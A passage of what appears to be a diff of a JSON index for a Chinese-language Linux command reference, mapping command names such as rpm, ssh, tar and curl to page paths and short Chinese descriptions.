pm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telint":{"n":"telint","p":"/telint","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file +{"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p"